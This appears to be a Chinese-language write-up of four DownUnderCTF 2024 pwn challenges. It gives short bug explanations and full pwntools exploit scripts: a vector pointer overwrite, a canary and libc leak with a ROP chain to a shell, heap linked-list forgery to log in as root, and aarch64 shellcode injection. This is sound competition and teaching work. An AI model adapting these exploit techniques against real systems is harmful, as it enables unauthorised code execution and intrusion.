# DownUnderCTF2024 - PWN
# ???
又是一个摸摸的比赛... ... ... ... ... ... ...
但是难题难度不低,简单题也是真的送分。
# 正文
# vector_overflow
之前做过一个 C++ vector 的堆题目。不知道为啥 CTF 那么喜欢出 vector 的堆题... ...
读取 buf 的时候没有检测输入长度,直接修改 vector 的东西,劫持 vector 结构体的内容指针指向 DUCTF 这个字符串就行。
大致的结构体就是:
1 2 3 4 5 6 7
| template typename xxx class vector<xxx> { protected: xxx* _M_start; xxx* _M_finish; xxx* _M_end_of_storage; }
|
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from pwn import* from Crypto.Util.number import long_to_bytes,bytes_to_long
context.log_level='debug' context(arch='amd64',os='linux') context.terminal=['tmux','splitw','-h']
pwn = './pwn' p=remote('2024.ductf.dev',30013)
payload=b"DUCTF\x00\x00\x00"+p64(0)+p64(0x4051e0)+p64(0x4051e5)+p64(0x4051e0) p.send(payload) p.interactive()
|
# yawa
有栈溢出漏洞,有 printf 输出 % s 来输出没有被截断的内容。
直接打就行了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| from pwn import* from Crypto.Util.number import long_to_bytes,bytes_to_long
context.log_level='debug' context(arch='amd64',os='linux') context.terminal=['tmux','splitw','-h']
pwn = './pwn' p=remote('2024.ductf.dev',30010)
p.sendlineafter("Get a personalised greeting","1") pause() p.send('a'*0x59) pause() p.sendlineafter("Get a personalised greeting","2")
p.recvuntil(b'a'*0x58) canary=u64(p.recv(8))-0x61 pause() p.sendlineafter("Get a personalised greeting","1") pause() p.send('a'*0x68) pause()
p.sendlineafter("Get a personalised greeting","2") p.recvuntil(b'a'*0x68) libc_base=u64(p.recv(6)+b'\x00\x00')-0x762d44c29d90+0x762d44c00000 print(hex(libc_base))
pop_rdi=libc_base+0x2a3e5 pop_rsi=libc_base+0x02be51 execv=libc_base+0x0EB080 pop_rdx2=0x11f2e7+libc_base sh=libc_base+0x1d8678 payload=b'a'*0x58+p64(canary)+p64(libc_base+0x253000)+p64(pop_rdi)+p64(sh)+p64(libc_base+0x50D9C)+p64(libc_base+0x50D70) pause() p.sendlineafter("Get a personalised greeting","1")
p.sendline(payload.ljust(0x88))
p.interactive()
|
# sign-in
登录到 root 用户就行了,但是 root 的密码是 8 字节随机数。
一个简单的堆,user 的堆块之间用双链表进行链接,free 掉 chunk 之后没有把 chunk 的 next 和 prev 指针清空,而且他 malloc 和 free 两个 chunk 的顺序就允许我们可以伪造链表,然后把 bss 上面存储的 root 用户账号密码的地址给低位覆盖为 \x00\x00,指向的是一堆 0x00 的 buf,就可以用 8 个 \x00 作为账号和密码登录到 uid 为 0 (root) 的用户从而拿到 shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| from pwn import* from Crypto.Util.number import long_to_bytes,bytes_to_long
context.log_level='debug' context(arch='amd64',os='linux') context.terminal=['tmux','splitw','-h']
pwn = './pwn' p=remote('2024.ductf.dev',30022)
def add(name,pwd): p.sendlineafter("Get shell","1") p.sendafter("username:",name) p.sendafter("password:",pwd) def signin(name,pwd): p.sendlineafter("Get shell","2") p.sendafter("username:",name) p.sendafter("password:",pwd) def dele(): p.sendlineafter("Get shell","3") def shell(): p.sendlineafter("Get shell","4") def cleart(): add("pwn1","pwn") add("pwn2","pwn") add("pwn3","pwn") def fillt(): signin('pwn1','pwn') dele() signin('pwn2','pwn') dele() signin('pwn3','pwn') dele() target=0x4040b0-6-8 add("pwn",p64(target)) add("pwnx",p64(target)) cleart()
signin('pwnx',p64(target)) dele() add("pwnxx",p64(target)) signin('pwnxx',p64(target)) dele() tar1=0x4040c0
signin(p64(0),p64(0))
shell()
p.interactive()
|
# pac-shell
怎么说,做出来的第一个 aarch64 架构上面的 PWN 题目)
题目跑在 qemu 上面,特性就是忽略不可执行的保护,而且 pie 也相当于是没开的,所以我们就直接在 bss 上面写 shellcode,然后 ret 到那里就行了。
但是调用函数的地方加了地址随机的保护,所以我们要先劫持 bss 上面那四个函数指针的除了 help 之外的一个为 shellcode 的地址,然后 help 查看经过随机化的地址,然后 call 那里就行了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| from pwn import* from Crypto.Util.number import long_to_bytes,bytes_to_long
context.log_level='debug' context(arch='aarch64',os='linux') context.terminal=['tmux','splitw','-h']
p=remote('2024.ductf.dev',30027)
p.recvuntil("help: 0x") help64=int(p.recvuntil('\n'),16) p.recvuntil('ls: 0x') hack64=int(p.recvuntil('\n'),16) p.recvuntil("read64: 0x") read64=int(p.recvuntil('\n'),16) p.recvuntil("write64: 0x") write64=int(p.recvuntil('\n'),16) print(hex(help64)) print(hex(hack64)) print(hex(read64)) print(hex(write64))
def read(addr): p.sendlineafter("pacsh>",str(hex(read64))) p.sendlineafter("read64> ",str(hex(addr))) def write(addr,pay): p.sendlineafter("pacsh>",str(hex(write64))) p.sendlineafter("write64> ",str(hex(addr))+" "+str(hex(pay))[2:])
def hack(): p.sendlineafter("pacsh>",str(hex(hack64))) def help(): p.sendlineafter("pacsh>",str(hex(help64)))
shellcode=asm(shellcraft.sh()) base=0x5500000000 read(base+0x11FB0)
libc_base=int(p.recv(10),16)-0x0509D0 print(hex(libc_base))
gad=libc_base+0x69500 buf_st=base+0x12050+0x100 for i in range(0,len(shellcode),8): writ=shellcode[i:i+8] write(buf_st+i,bytes_to_long(writ[::-1])) write(base+0x12028,buf_st) help() p.recvuntil('ls: 0x') hack64=int(p.recvuntil('\n'),16) hack()
p.interactive()
|